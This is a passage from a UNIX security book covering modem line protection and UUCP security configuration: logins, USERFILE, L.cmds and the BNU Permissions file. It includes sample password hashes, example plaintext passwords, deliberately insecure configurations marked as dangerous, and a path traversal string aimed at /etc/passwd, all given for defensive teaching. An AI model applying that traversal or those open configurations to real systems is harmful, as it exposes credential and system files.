Fatal: C-Kermit setuid to root!
unix%

The reason for this behavior is that SUID root programs can be dangerous things, and the authors of kermit wisely decided that the program was too complex to be entrusted with such privilege. Instead, kermit should be installed SUID uucp, and with the outbound modems similarly configured. In this manner, kermit has access to the modems and nothing else.

If you have a third-party communications program that you cannot install SUID uucp, you may wish to use SGID instead. Simply create a uucp group, set the group of the modem UNIX devices to be UUCP and give the group both read and write access to the modems, and make the third-party program SGID uucp. And if these measures don't work, complain to your software vendor!

14.5.4 Physical Protection of Modems

Although physical protection is often overlooked, protecting the physical access to your telephone line is as important as securing the computer to which the telephone line and its modem are connected.

Be sure to follow these guidelines:

  • Protect physical access to your telephone line. Be sure that your telephone line is physically secure. Lock all junction boxes. Place the telephone line itself in an electrical conduit, pulled through walls, or at least located in locked areas. An intruder who gains physical access to your telephone line can attach his or her own modem to the line and intercept your telephone calls before they reach your computer. By spoofing your users, the intruder may learn their login names and passwords. Instead of intercepting your telephone calls, an intruder might simply monitor them, making a transcript of all of the information sent in either direction. In this way, the intruder might learn passwords not only to your system, but to all of the systems to which your users connect.

  • Make sure your telephone line does not allow call forwarding. If your telephone can be programmed for call forwarding, an intruder can effectively transfer all incoming telephone calls to a number of his choosing. If there is a computer at the new number that has been programmed to act like your system, your users might be fooled into typing their usernames and passwords.

  • Consider using a leased line. If all your modem usage is to a single outside location, consider getting a leased line. A leased line is a dedicated circuit between two points provided by the phone company. It acts like a dedicated cable, and cannot be used to place or receive calls. As such, it allows you to keep your connection with the remote site, but it does not allow someone to dial up your modem and attempt a break-in. Leased lines are more expensive than regular lines in most places, but the security may outweigh the cost. Leased lines offer another advantage: you can usually transfer data much faster over leased lines than over standard telephone lines.

  • Don't get long distance service. If you don't intend to use the telephone for long-distance calls, do not order long distance service for the telephone lines.

  • Have your telephone company disable third-party billing. Without third-party billing, people can't bill their calls to your modem line.

Previous: 14.4 Modems and Security | Practical UNIX & Internet Security | Next: 14.6 Additional Security for Modems
14.4 Modems and Security | Book Index | 14.6 Additional Security for Modems


[Chapter 14] 14.6 Additional Security for Modems

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 14.5 Modems and UNIX Chapter 14
Telephone Security 		Next: 15. UUCP

14.6 Additional Security for Modems

With today's telephone systems, if you connect your computer's modem to an outside telephone line, then anybody in the world can call it. In the future, the telephone system might be able to easily prevent people from calling your computer's modem unless you have specifically preauthorized them. Until then, we will have to rely on other mechanisms to protect our modems and computers from intruders.

Although usernames and passwords provide a degree of security, they are not foolproof. Users often pick bad passwords, and even good passwords can occasionally be guessed or discovered by other means.

For this reason, a variety of special kinds of modems have been developed that further protect computers from unauthorized access. These modems are more expensive than traditional modems, but they do provide an added degree of security and trust.

  • Password modems. These modems require the caller to enter a password before the modem connects the caller to the computer. As with regular UNIX passwords, the security provided by these modems can be defeated by repeated password guessing or by having an authorized person release his password to somebody who is not authorized. Usually, these modems can only store one to ten passwords. The password stored in the modem should not be the same as the password of any user. Some versions of UNIX can be set up to require special passwords for access by modem. Password modems are probably unnecessary on systems of this kind; the addition of yet another password may be more than your users are prepared to tolerate.

  • Callback setups. As we mentioned earlier in this chapter, these schemes require the caller to enter a username, and then immediately hang up the telephone line. The modem then will call the caller back on a predetermined telephone number. These schemes offer a higher degree of security than regular modems, although they can be defeated by somebody who calls the callback modem at the precise moment that it is trying to make its outgoing telephone call. Most callback modems can only store a few numbers to call back. These modems can also be defeated on some kinds of PBX systems by not hanging up the telephone line when the computer attempts to dial back.

  • Encrypting modems. These modems, which must be used in pairs, encrypt all information transmitted and received over the telephone lines. These modems offer an extremely high degree of security not only against individuals attempting to gain unauthorized access, but also against wiretapping. Some encrypting modems contain preassigned cryptographic "keys" that work only in pairs. Other modems contain keys that can be changed on a routine basis, to further enhance security. (Chapter 6, Cryptography, contains a complete discussion of encryption.)

  • Caller-ID and ANI schemes. These use a relatively new feature available on many digital telephone switches. As described in the section "" earlier in this chapter, you can use the information provided by the telephone company for logging or controlling access. Already, some commercial firms provide a form of call screening using ANI (Automatic Number Identification) for their 800 numbers (which have had ANI available since the late 1980s). When the user calls the 800 number, the ANI information is checked against a list of authorized phone numbers, and the call is switched to the company's computer only if the number is approved.

Previous: 14.5 Modems and UNIX | Practical UNIX & Internet Security | Next: 15. UUCP
14.5 Modems and UNIX | Book Index | 15. UUCP


[Chapter 15] UUCP

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 14.6 Additional Security for Modems Chapter 15 Next: 15.2 Versions of UUCP

15. UUCP

Contents:
About UUCP
Versions of UUCP
UUCP and Security
Security in Version 2 UUCP
Security in BNU UUCP
Additional Security Concerns
Early Security Problems with UUCP
UUCP Over Networks
Summary

UUCP is the UNIX-to-UNIX Copy system, a collection of programs that have provided rudimentary networking for UNIX computers since 1977.

UUCP has three main uses:

  • Sending mail and news to users on remote systems

  • Transferring files between UNIX systems

  • Executing commands on remote systems

Until recently, UUCP was very popular in the UNIX world for a number of reasons:

  • UUCP came with almost every version of UNIX; indeed, for many users, UUCP used to be the reason to purchase a UNIX computer in the first place.

  • UUCP required no special hardware: it runs over standard RS-232 serial cables, and over standard modems for long-distance networks.

  • UUCP can store messages during the day and send them in a single batch at night, substantially lowering the cost of phone-based networking.

The UUCP programs also allow you to connect your computer to a worldwide network of computer systems called Usenet. Usenet is a multihost electronic bulletin board with several thousand special interest groups; articles posted on one computer are automatically forwarded to all of the other computers on the network. The Usenet reaches millions of users on computer systems around the world on every continent.

In recent years, interest in UUCP has declined for a number of reasons:

  • UUCP was designed and optimized for low-speed connections. When used with modems capable of transmitting at 14.4 Kbps or a faster rate, the protocols become increasingly inefficient.

  • New network protocols such as SLIP and PPP use the same hardware as UUCP, yet allow the connecting machine to have access to the full range of Internet services.

  • UUCP links that were used to provide access for one or a few people are being replaced with dial-up POP (Post Office Protocol) and IMAP servers, which allow much more flexibility when retrieving electronic mail over a slow connection and which are easier to administer.

Thus, while UUCP is still used by a number of legacy systems, few sites are installing new UUCP systems.

Nevertheless, a working knowledge of UUCP is still important for the UNIX system administrator for a number of reasons:

  • Even if you don't use UUCP, you probably have the UUCP programs on your system. If they are improperly installed, an attacker could use those programs to gain further access.[1]

    [1] For this reason, you may wish to remove the UUCP subsystem (or remove the SUID/SGID permissions from the various UUCP executables) if you have no intention of using it.

  • If you are a newly hired administrator for an existing system, people could be using UUCP on your system without your knowledge.

  • The UUCP programs are still used by many sites to exchange netnews. Thus, your computer may be using UUCP without anybody's knowledge.[2]

    [2] Rich Salz's Internet News system (INN) provides an excellent means for sites on the Internet to exchange netnews without relying on UUCP.

The Nutshell Handbook Using and Managing UUCP (O'Reilly & Associates) describes in detail how to set up and run a UUCP system, as well as how to connect to the Usenet. This chapter focuses solely on those aspects of UUCP that relate to computer security.

15.1 About UUCP

From the user's point of view, UUCP consists of two main programs:

  • uucp, which copies files between computers

  • uux, which executes programs on remote machines

UNIX's electronic mail system also interfaces with the UUCP system. As most people use UUCP primarily for mail, this chapter also discusses the mail and rmail commands.

15.1.1 uucp Command

The uucp command allows you to transfer files between two UNIX systems. The command has the form:

uucp [flags] source-file destination-file

UUCP filenames can be regular pathnames (such as /tmp/file1) or can have the form:

system-name!pathname

For example, to transfer the /tmp/file12 file from your local machine to the machine idr, you might use the command:

$ uucp /tmp/file12 idr!/tmp/file12
$

You can also use uucp to transfer a file between two remote computers, assuming that your computer is connected to both of the other two machines. For example, to transfer a file from prose to idr, you might use the command:

$ uucp prose!/tmp/myfile idr!/u1/lance/yourfile
$

For security reasons, UUCP is usually configured so that files can be copied only into the /usr/spool/uucppublic directory: the UUCP public directory. Because /usr/spool/uucppublic is lengthy to type, UUCP allows you to abbreviate the entry with a tilde (~):

$ uucp file12 idr!~/anotherfile
$

Notice that you can change the name of a file when you send it.

15.1.1.1 uucp with the C shell

The above examples were all typed with sh, the Bourne shell. They will not work as is with the C shell. The reason for this is the csh history feature.[3]

[3] The ksh also has a history mechanism, but it does not use a special character that interferes with other programs.

The C shell's history feature interprets the exclamation mark as a command to recall previously typed lines. As a result, if you are using csh and you wish to have the exclamation mark sent to the uucp program, you have to quote, or "escape," the exclamation mark with a backslash:

% uucp /tmp/file12 idr\!/tmp/file12
%

15.1.2 uux Command

The uux command enables you to execute a command on a remote system. In its simplest form, uux reads an input file from standard input to execute a command on a remote computer. The command has the form:

uux - system\!command < inputfile

In the days before local area networks, uux was often used to print a file from one computer on the printer of another. For sites that don't have local area networks, uux is still useful for that purpose. For example, to print the file report on the computer idr, you might use the command:

$ uux - "idr!lpr" < report
$

The notation idr!lpr causes the lpr command to be run on the computer called idr. Standard input for the lpr command is read by the UUCP system and transferred to the machine idr before the command is run.

Today, the main use of uux is to send mail and Usenet articles between machines that are not otherwise connected to LANS or the Internet.

You can use the uux command to send mail "by hand" from one computer to another by running the program rmail on a remote machine:

$ uux - "idr!rmail leon"
Hi, Leon!
How is it going?

Sincerely,
Mortimer
^D
$

The hyphen (-) option to the uux command means that uux should take its input from standard input and run the command rmail leon on the machine idr. The message will be sent to the user leon.

15.1.3 mail Command

Because people send mail a lot, the usual UNIX mail command understands UUCP-style addressing, and automatically invokes uux when in use. [4]

[4] There are many different programs that can be used to send mail. Most of them either understand UUCP addressing or give your message to another program, such as sendmail, that does.

For example, you could send mail to leon on the idr machine simply by typing:

$ mail idr!leon
Subject: Hi, Leon!
How is it going?

Sincerely,
Mortimer
^D
$

When mail processes a mail address contain an exclamation mark, the program automatically invokes the uux command to cause the mail message to be transmitted to the recipient machine.

15.1.4 How the UUCP Commands Work

uucp, uux, and mail don't actually transmit information to the remote computer; they simply store it on the local machine in a spool file. The spool file contains the names of files to transfer to the remote computer and the names of programs to run after the transfer takes place. Spool files are normally kept in the /usr/spool/uucp directory (or a subdirectory inside this directory).

If the uux command is invoked without its -r option, the uucico (UNIX-to-UNIX Copy-In-Copy-Out) program is executed immediately.[5] In many applications, such as in sending email, the -r option is provided by default, and the commands are queued until the uucp queue is run at some later time. Normally, uucico is run on a regular basis by cron. However started, when the program uucico runs it initiates a telephone call to the remote computer and sends out the spooled files. If the phone is busy or for some other reason uucico is unable to transfer the spool files, they remain in the /usr/spool/uucp directory, and uucico tries again when it is run by cron or another invocation of uux.

[5] A few versions of UUCP support a -L flag to uux that acts opposite to the -r flag, and causes uucico to be started immediately.

When it calls the remote computer, uucico gets the login: and password: prompts as does any other user. uucico replies with a special username and password for logging into a special account. This account, sometimes named uucp or nuucp, has another copy of the uucico program as its shell; the uucico program that sends the files operates in the Master mode, while the uucico program receiving the files operates in the Slave mode.

The /etc/passwd entry for the special uucp user often looks similar to this:

uucp:mdDF32KJqwerk:4:4:Mr. UUCP:/usr/spool/uucppublic:/usr/lib/uucp/uucico

After the files are transferred, a program on the remote machine named uuxqt executes the queued commands. Any errors encountered during remote command execution are captured and sent back as email to the initiating user on the first machine.

Previous: 14.6 Additional Security for Modems | Practical UNIX & Internet Security | Next: 15.2 Versions of UUCP
14.6 Additional Security for Modems | Book Index | 15.2 Versions of UUCP


[Chapter 15] 15.2 Versions of UUCP

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 15.1 About UUCP Chapter 15
UUCP 		Next: 15.3 UUCP and Security

15.2 Versions of UUCP

There are three main versions of UUCP:

  • Version 2

  • HoneyDanBer UUCP (HDB/BNU)

  • Taylor UUCP

Version 2 UUCP was written in 1977 by Mike Lesk, David Nowitz, and Greg Chesson at AT&T Bell Laboratories. (Version 2 was a rewrite of the first UUCP version, which was written by Lesk the previous year and was never released outside AT&T.) Version 2 was distributed with UNIX Version 7 in 1977, and is at the heart of many vendors' older versions of UUCP. The Berkeley versions of UUCP are derived largely from Version 2, and include many enhancements.

Version 2 UUCP is seldom seen anymore. It has largely been replaced by HDB UUCP at sites still using UUCP. We describe it in this chapter for historical reasons and to be complete. However, we encourage you to think about upgrading to the HDB form, if possible.

In 1983, AT&T researchers Peter Honeyman, David A. Nowitz, and Brian E. Redman developed a new version of UUCP that became known as HoneyDanBer UUCP. AT&T began distributing this version with UNIX System V Release 3 under the name " Basic Networking Utilities," or BNU. The BNU version is probably the most commonly used version of UUCP today.

From the system administrator's point of view, the primary difference between these two versions of UUCP is their configuration files. Version 2 uses one set of configuration files, while BNU has another. Look in the /usr/lib/uucp directory (on some systems, the directory is renamed /etc/uucp). If you have a file called USERFILE, you are using Version 2 configuration files, and probably have Version 2 UUCP. If you have a file called Permissions, you are using BNU configuration files, and probably have BNU.

Another significant difference between the two versions is the support for security options and enhanced logging. BNU is much improved over Version 2 in both regards. We describe the configuration differences later, and present the logging for BNU in "UUCP Log Files" in Chapter 10.

Taylor UUCP is a version of UUCP written by Ian Lance Taylor. It is a free version of UUCP which is covered under the GNU Public License. It supports either style of configuration files, and will even allow you to use both at the same time. Taylor UUCP is frequently distributed with the Linux operating system. Most Linux distributions use the BNU-style configuration files.

In addition to Taylor UUCP, several free or inexpensive implementations of UUCP are available for UNIX, DOS, MacOS, AmigaOS, and other systems - even VMS! Because these implementations are not widely used, documentation on them is limited and their security aspects are unknown (at least to us). Whatever version you are using, we expect that many of our comments in the remainder of this chapter apply to it.

Previous: 15.1 About UUCP | Practical UNIX & Internet Security | Next: 15.3 UUCP and Security
15.1 About UUCP | Book Index | 15.3 UUCP and Security


[Chapter 15] 15.3 UUCP and Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 15.2 Versions of UUCP Chapter 15
UUCP 		Next: 15.4 Security in Version 2 UUCP

15.3 UUCP and Security

Any system that allows files to be copied from computer to computer and allows commands to be remotely executed raises a number of security concerns. What mechanisms exist to prevent unauthorized use? What prevents an attacker from using the system to gain unauthorized entry? What prevents an attacker from reverse engineering the system to capture confidential information? Fortunately, UUCP has many security measures built into it to minimize the dangers posed by its capabilities. For example:

  • The uucico program must log into your system to transfer files or run commands. By assigning a password to the uucp account, you can prevent unauthorized users from logging in.

  • The UUCP programs run SUID uucp, not SUID root. Other than being able to read the spooled UUCP files, the uucp user doesn't have any special privileges. It can read only files that are owned by uucp or that are readable by everybody on the system; likewise, it can create files only in directories that are owned by uucp or in directories that are world writable.

  • The UUCP login does not receive a normal shell, but instead invokes another copy of uucico. The only functions that can be performed by this copy of uucico are those specified by the system administrator.

As system administrator, you have a few more tools for controlling the level of security:

  • You can create additional /etc/passwd entries for each system that calls your machine, allowing you to grant different privileges and access to different remote computers.

  • You can configure UUCP so remote systems can retrieve files only from particular directories. Alternatively, you can turn off remote file retrieval altogether.

  • You can require callback for certain systems, so you can be reasonably sure that the UUCP system you are communicating with is not an impostor.

But even with these protective mechanisms, UUCP can compromise system security if it is not properly installed. And once one system is compromised, it can be used to compromise others, because UUCP passwords are stored unencrypted.

NOTE: If you run an NFS server on the same computer that you use for UUCP, the NFS server must not export the UUCP configuration, program, or data directories. This is because the UUCP files are owned by the uucp user, not by the user root. In standard NFS, only files owned by root are protected. Thus, an attacker could use NFS to modify the UUCP files on your system, and use that modification as a means for gaining further access.

15.3.1 Assigning Additional UUCP Logins

Most Berkeley UNIX systems come with two UUCP logins. The first is used by computers that call and exchange information using uucico:

uucp:Ab1zDIdS2/JCQ:4:4:Mr. UUCP:/usr/spool/uucppublic/:/usr/lib/uucp/uucico

The second UUCP login, usually called uucpa or nuucp, has a regular shell as its login shell. It is used for administration. (The "a" stands for "administrator.")

uucp:Ab1zDIdS2/JCQ:4:4:Mr. UUCP:/usr/lib/uucp/uucico
uucpa:3jd912JFK31fa:4:4:UUCP Admin:/usr/lib/uucp/:/bin/csh

(System V systems usually use the account name uucp as the administrative login and nuucp as the uucico login.)

These two logins are all that you need to use UUCP. Every machine that calls you uses the same uucp login. In most cases, every machine will be granted the same type of access on your machine.

Alternatively, you may wish to assign a different login to each machine that calls you. This lets you grant different classes of access to each machine, and gives you a lot more control over each one.

For example, if you are called by the machines garp, idr, and prose, you might want to have a separate login for each of these machines[6]:

[6] Many system administrators capitalize the "U" at the beginning of dedicated UUCP login names. This notation helps to distinguish the login names from usernames that might begin with a lower-case "u" (e.g., ursula and ulrich). Furthermore, some software uses this convention to trigger special behavior - such as mgetty in Linux, which will switch to uucico instead of login. Reliance on such naming is a questionable design from a security point of view, but we do note the convention.

uucp:asXN3sQefHsh:4:4:Mr. UUCP:/usr/spool/uucppublic/:/usr/lib/uucp/uucico
Ugarp:ddGw1opxMz1MQ:4:4:UUCP Login for garp:/usr/spool/uucppublic/
  :/usr/lib/uucp/uucico
Uprose:777uf2KOKdbkY:4:4:UUCP Login for prose:/usr/spool/uucppublic/
  :/usr/lib/uucp/uucico
Uidr:asv.nbgMNy/cA:4:4:UUCP Login for idr:/usr/spool/uucppublic/
  :/usr/lib/uucp/uucico

The only differences between these logins are their usernames, passwords, and full names; the UIDS, home directories, and shells all remain the same. Having separate UUCP logins lets you use the last and finger commands to monitor who is calling you. Separate logins also make the task of tracing security leaks easier: for example, one machine dialing in with one username and password, but pretending to be another. Furthermore, if you decide that you no longer want a UUCP link with a particular system, you can shut off access to that site by changing the password of one of the UUCP logins without affecting other systems.

If you have many UUCP connections within your organization and only a few to the outside, you may wish to compromise by having one UUCP login for your local connections and separate UUCP logins for all of the systems that dial in from outside.

15.3.2 Establishing UUCP Passwords

Many UNIX systems come without passwords for their UUCP accounts; be sure to establish passwords for these accounts immediately, whether or not you intend to use UUCP.

Because the shell for UUCP accounts is uucico (rather than sh, ksh, or csh), you can't set the passwords for these accounts by su-ing to them and then using the passwd command. If you do, you'll get a copy of uucico as your shell, and you won't be able to type sensible commands. Instead, to set the password for the UUCP account, you must become the superuser and use the passwd command with its optional argument - the name of the account whose password you are changing. For example:

% /bin/su
password: bigtime!				Superuser password
# passwd uucp
New password: longcat! 				New password for the uucp account
Re-enter new password: longcat!

15.3.3 Security of L.sys and Systems Files

Because it logs in to remote systems, uucico has to keep track of the names, telephone numbers, account names, and passwords it uses to log into these machines. This information is kept in a special file called /usr/lib/uucp/L.sys (in Version 2) or /usr/lib/uucp/Systems (in BNU).

The information in the L.sys or Systems file can easily be misused. For example, somebody who has access to this file can program his or her computer to log into one of the machines that you exchange mail with, pretending to be your machine, and in this way get all of your electronic mail!

To protect the L.sys or Systems file, make sure that the file is owned by the uucp user and is mode 400 or 600 - that is, unreadable to anybody but UUCP.

You should check to make sure that there is no way to read or copy your L.sys or Systems file by using the uucp program. You should also make sure that the uucp program does not allow people on remote machines to retrieve your /etc/passwd file when they specify pathnames such as "../../../../etc/passwd."

NOTE: When debugging a UUCP connection to a remote site, you may wish to run the uucico command in debug mode. When you do so, the command prints a running account of the data exchanged with the remote machine. On most systems, if you do this as root (or as a user with read permission on the L.sys or Systems file, e.g., a user in group uucp), then the debug text will include the telephone number, account name, and possibly the password(s) of the remote site. Thus, run in debug mode as a non-privileged user, or in a secured location to prevent someone from snooping.

Previous: 15.2 Versions of UUCP | Practical UNIX & Internet Security | Next: 15.4 Security in Version 2 UUCP
15.2 Versions of UUCP | Book Index | 15.4 Security in Version 2 UUCP


[Chapter 15] 15.4 Security in Version 2 UUCP

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 15.3 UUCP and Security Chapter 15
UUCP 		Next: 15.5 Security in BNU UUCP

15.4 Security in Version 2 UUCP

Version 2 of UUCP provides five files that control what type of access remote systems are allowed on your computer (see Table 15.1).

Table 15.1: UUCP Version 2 Access Control Files
File | Meaning
USERFILE | Determines access to files and directories.
L.cmds | Specifies commands that can be executed locally by remote sites.
SEQFILE | Specifies machines for which to keep conversation counts.
FWDFILE | Specifies a list of systems to which your system will forward files. (Not available in all implementations.)
ORGFILE | Specifies a list of systems (and optionally, users on those systems) who can forward files through your system. (Not available in all implementations.)

The two files of primary concern are USERFILE and L.cmds; for a detailed description of the other files, please see the book Managing UUCP and Usenet referenced above.

15.4.1 USERFILE: Providing Remote File Access

The /usr/lib/uucp/USERFILE file controls which files on your computer can be accessed through the UUCP system. Normally, you specify one entry in USERFILE for each UUCP login in the /etc/passwd file. You can also include entries in USERFILE for particular users on your computer: this allows you to give individual users additional UUCP privileges.

USERFILE entries can specify four things:

  • Which directories can be accessed by remote systems

  • The login name that a remote system must use to talk to the local system

  • Whether a remote system must be called back by the local system to confirm its identity before communication can take place

  • Which files can be sent out over UUCP by local users

15.4.1.1 USERFILE entries

USERFILE is one of the more complicated parts of Version 2 UUCP. In some cases, making a mistake with USERFILE can prevent UUCP from working at all. In other cases, it can result in a security hole.

Entries in USERFILE take the form:

username,system-name [c] pathname(s)

An entry in USERFILE that uses all four fields might look like this:

Ugarp,garp c /usr/spool/uucppublic

These fields are described in Table 15.2.

Table 15.2: USERFILE Fields
Field | Example | Function in USERFILE
username | Ugarp | Login name in /etc/passwd that will be used
system name | garp | System name of the remote system.
c | c | Optional callback flag. If present, uucico on the local computer halts conversation after the remote machine calls the local machine; uucico on the local machine then calls back the remote machine to establish the remote machine's identity
pathname | /usr/spool/uucppublic | List of absolute pathname prefixes separated by blanks. The remote system can access only those files beginning with these pathnames. A blank field indicates open access to any file in the system, as does a pathname of /.

You should have at least one entry in USERFILE without a username field, and at least one other entry without a system name field:

  • The line that has no username field is used by uucico when it is transmitting files, to determine if it is allowed to transmit the file that you have asked to transmit.

  • The line that has no system name field is used by uucico when it is receiving files and cannot find a name in the USERFILE that has a system name matching the current system. uucico uses this line to see if it is allowed to place a file in the requested directory. This line is also used by the uuxqt program.

To make things more interesting, almost every implementation of UUCP parses USERFILE a little differently. The key rules that apply to all versions are:

  • When uucp and uux are run by users, and when uucico runs in the Master role (a connection originating from your local machine), UUCP uses only the username part of the username and system name fields.

  • When uucico runs in the Slave role, UUCP looks only at the system name field.

  • There must be at least one line that has an empty system name, and one line that has an empty username. (In most BSD-derived systems, they can be the same line. Every other implementation requires two separate lines. You are safest in using two lines if you don't understand what your version allows.) The locations of these lines in the file is not important, but both lines must be present.

15.4.1.2 USERFILE entries for local users

You can have an entry in your USERFILE for every user who will be allowed to transfer files. For example, the following entries give the local users lance and annalisa permission to transfer a file in or out of any directory on your computer to which they have access:

lance, /
annalisa, /

This USERFILE entry gives the local user casper permission to transfer files in or out of the UUCP public directory or the directory /usr/ghost:

casper, /usr/spool/uucppublic /usr/ghost

Be aware that USERFILE allows a maximum of 20 entries in Version 7 and System V Release 1.0.

Instead of specifying a USERFILE entry for each user on your system, you can specify a USERFILE entry without a username. This default entry covers all users on your system that are not otherwise specified. To give all users access to the UUCP public directory, you might use the following USERFILE entry:

,localhost /usr/spool/uucppublic

(The hostname localhost is ignored by the UUCP software and is included only for clarity.)

15.4.1.3 Format of USERFILE entry without system name

To allow file transfer from other systems to your system, and to allow files to be accessed by uuxqt (even when it is started from your system), you must have at least one entry in USERFILE for which the system name is not specified. For example:

nuucp, /usr/spool/uucppublic

Although you might expect that this line would mean that any system logging in with the name nuucp would have access to /usr/spool/uucppublic, such is not the case for all versions of UUCP.

In System V Release 2.0 and in Ultrix, UUCP will actually check both the username field and the blank system name field, and will allow logins by any system using nuucp.

In other UUCP implementations, however, the fact that nuucp appears on this line is completely irrelevant to a system calling in. The system name is used only to validate file transfers for files that are received by your system. If this is the first entry with a missing system name, UUCP will actually allow access to uucppublic by any system for which there is no explicit USERFILE entry containing that system's system name. If this is not the first entry with a blank system name, it will have no effect.

15.4.1.4 Special permissions

You may wish to make special directories on your system available to particular users on your system or to particular systems with which you communicate. For example:

Ugarp,garp /usr/spool/uucppublic /usr/spool/news

This line will make both the directories /usr/spool/uucppublic and /usr/spool/news available to the system name garp when you call it, and to any system that logs in with the UUCP login Ugarp. You might want to add this line if you anticipate transferring news articles between your computer and garp directly, without going through the Usenet news software.

15.4.1.5 Requiring callback

Version 2 UUCP has a callback feature that you can use if you are extremely concerned about security. With callback, when a remote system calls your computer, your system immediately hangs up on the remote system and calls it back. In this way, you can be sure that the remote system is who it claims to be.

If you put a c as the first entry in the USERFILE path list, no files will be transferred when the remote system's uucico logs in. Instead, your system will call back the remote system. No special callback hardware is required to take advantage of UUCP callback, because it is performed by the system software, not by the modem.

For example, here is garp's USERFILE entry modified so the local system will always call garpback whenever garp calls the local system:

Ugarp,garp c /usr/spool/uucppublic /usr/spool/news

Callback adds to the security of UUCP. Normally there is no way to be sure that a computer calling up and claiming to be garp, for example, is really garp. It might be another system that belongs to a computer cracker who has learned garp's UUCP login and password. If you call back the remote system, however, you can be reasonably sure that you are connecting to the right system.

NOTE: Only one system out of each pair of communicating systems can have a c in its USERFILE to enable the callback feature. If both ends of a connection enable callback, they will loop endlessly - calling each other, hanging up, and calling back. For more information, see the comments on callback in Chapter 14, Telephone Security.

15.4.2 A USERFILE Example

Here is a sample USERFILE:

, /usr/spool/uucppublic
# Next line not needed in BSD 4.2 or 4.3
nuucp, /usr/spool/uucppublic
dan, /usr/spool/uucppublic /u1/dan
csd, /usr/spool/uucppublic /u1/csd
root, /
udecwrl,decwrl /usr/spool/uucppublic /usr/spool/news
upyrnj,pyrnj /usr/spool/uucppublic /usr/src

As noted earlier, in some systems the first line defines both the missing username and the missing system name and gives access to the directory /usr/spool/uucppublic. In other implementations of UNIX, two separate lines are required: The first line will suffice for the missing username, and another line, such as the second one shown here (the line beginning with nuucp), will account for the missing system name.

The effect of these lines is to allow any local user, and any remote machine, to transfer files only from the public directory.

If you don't have any particularly trusted sites or users, you may want to stop at this point. However, if you want to give special privileges to particular local users, you'll include lines such as the next three (the lines beginning with dan, csd, and root). Users dan and csd can transfer files to or from their home directories as well as from the public directory. Users logged in as root can transfer files to or from any directory. (This structure makes sense, as they can do anything else, including modifying USERFILE to suit their needs or whims.)

Finally, you may need to specify particular permissions for known local systems. In the example, decwrl is able to transfer files to /usr/spool/news as well as to the public directory. The site pyrnj is able to transfer files to and from /usr/src as well as to and from the public directory.

15.4.2.1 Some bad examples

If you are not very concerned about security, the following USERFILE might suffice:

# A wide open USERFILE
nuucp, /usr/spool/uucppublic
, /

However, we recommend against it! This USERFILE will allow remote systems (assuming that they all log in as nuucp) to transfer files to or from the public directory, but will give complete UUCP access to local users. This is dangerous and is not recommended, as it allows local users access to any protected file and directory that is owned by uucp.

If you don't talk to the outside world and are using UUCP only for communication with UNIX sites inside your organization, you might use the following USERFILE:

# A completely open USERFILE
, /
, /

This userfile will allow any user on your system, or any remote system, to transfer files to or from any directory. This example is even more dangerous than the previous one. (Note that on many systems, two lines are necessary, even though they are identical. The first line defines the missing username, and the other line defines the missing system name. In some systems, a single line will suffice, but you will never be wrong if you include both of them.)

Remember that even with complete access specified in USERFILE, UUCP is still subject to UNIX file permissions. A user requesting outbound transfer of a file must have read access to it. For a remote system to have access to a file or directory, the file or directory must be readable and writable by all users, or by UUCP.

NOTE: If you wish to run a secure system, the directory /usr/lib/uucp (or /etc/uucp) must not be in the permission list! If users from the outside are allowed to transfer into these directories, they can change the USERFILE or the L.cmds files to allow them to execute any command that they wish. Local users can similarly use the uucp command to change these files, and subvert UUCP. Giving all access from the / directory is also dangerous - such access makes it possible for people outside your organization to subvert your system easily, as they can then modify any directory on your system that is world writable.

For example, granting access to / lets an outsider read the contents of your /etc/passwd file, and also allows him to read and change the contents of your /usr/lib/uucp/L.sys file. As an added precaution, the home directory for the uucp user should not be in /usr/spool/uucp/uucppublic, or any other directory that can be written to by a uucp user. Doing so may allow an outside user to subvert your system.

15.4.3 L.cmds: Providing Remote Command Execution

You will probably want to limit the commands that can be executed by a remote system via uucp. After all, if any command could be executed by UUCP, then people on other computers could use the /bin/rm command to delete files in any writable directory on your computer! [7]

[7] This gives a new definition to the phrase "world writable."

For this reason, UUCP allows you to specify which commands remote systems are allowed to execute on your computer. The list of valid commands is contained in the directory /usr/lib/uucp in the file L.cmds, L-cmds, or uuxqtcmds (different versions store the command list in different files). Some early UNIX systems (Version 7 or earlier) may not have this file at all (and have no way of changing the defaults without modifying the source code to the uuxqt program.) For further information, check your own system's documentation.

In some versions of UUCP, the L.cmds file can also include a PATH= statement that specifies which directories uuxqt should check when searching for the command to execute.

A typical L.cmds file might contain the following list of commands:

PATH=/bin:/usr/bin:/usr/ucb
rmail
rnews
lpr
who
finger

If a command is not in the commands file, uux cannot execute it. L.cmds should at least contain the rmail program (the remote mail program that decides whether mail is to be delivered locally or forwarded on to yet another system). If rmail is not listed in L.cmds, a local user will not be able to receive mail from remote users via UUCP.

Add commands to this file carefully; commands like cat or rm may place your system at risk. You should be careful about commands that allow shell escapes (such as man). Even finger can be dangerous if you are very concerned about security, because it might provide a cracker with a list of usernames to try when guessing passwords.

Look carefully at the L.cmds file that comes with your system: you may wish to remove some of the commands that it includes. For example, some BSD-derived systems include the ruusend command in this file, which allows file forwarding. This command is a security hole, because a remote system could ask your system to forward protected files that are owned by the uucp user, such as the file L.sys.

If the L.cmds file does not exist, UUCP will use a default set of commands. If the file exists but is empty, remote commands cannot be executed on your system. In this event, the UUCP system can be used only for transferring files.

Previous: 15.3 UUCP and Security | Practical UNIX & Internet Security | Next: 15.5 Security in BNU UUCP
15.3 UUCP and Security | Book Index | 15.5 Security in BNU UUCP


[Chapter 15] 15.5 Security in BNU UUCP

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 15.4 Security in Version 2 UUCP Chapter 15
UUCP 		Next: 15.6 Additional Security Concerns

15.5 Security in BNU UUCP

In BNU, the Permissions file replaces both the Version 2 USERFILE and L.cmds files. Permissions provides additional protection and finer control over the UUCP system. A second file called remote.unknown controls whether or not an unknown system (that is, one not listed in your Systems file) can log in (assuming that the remote system knows a valid UUCP login name and password).

15.5.1 Permissions File

The Permissions file consists of commands, possibly multi-line, and often separated by blank lines, that are used to determine what users and remote machines can and cannot do with the UUCP system.

Here is a sample Permissions file. For now, don't worry about what all the commands mean: we'll explain them shortly.

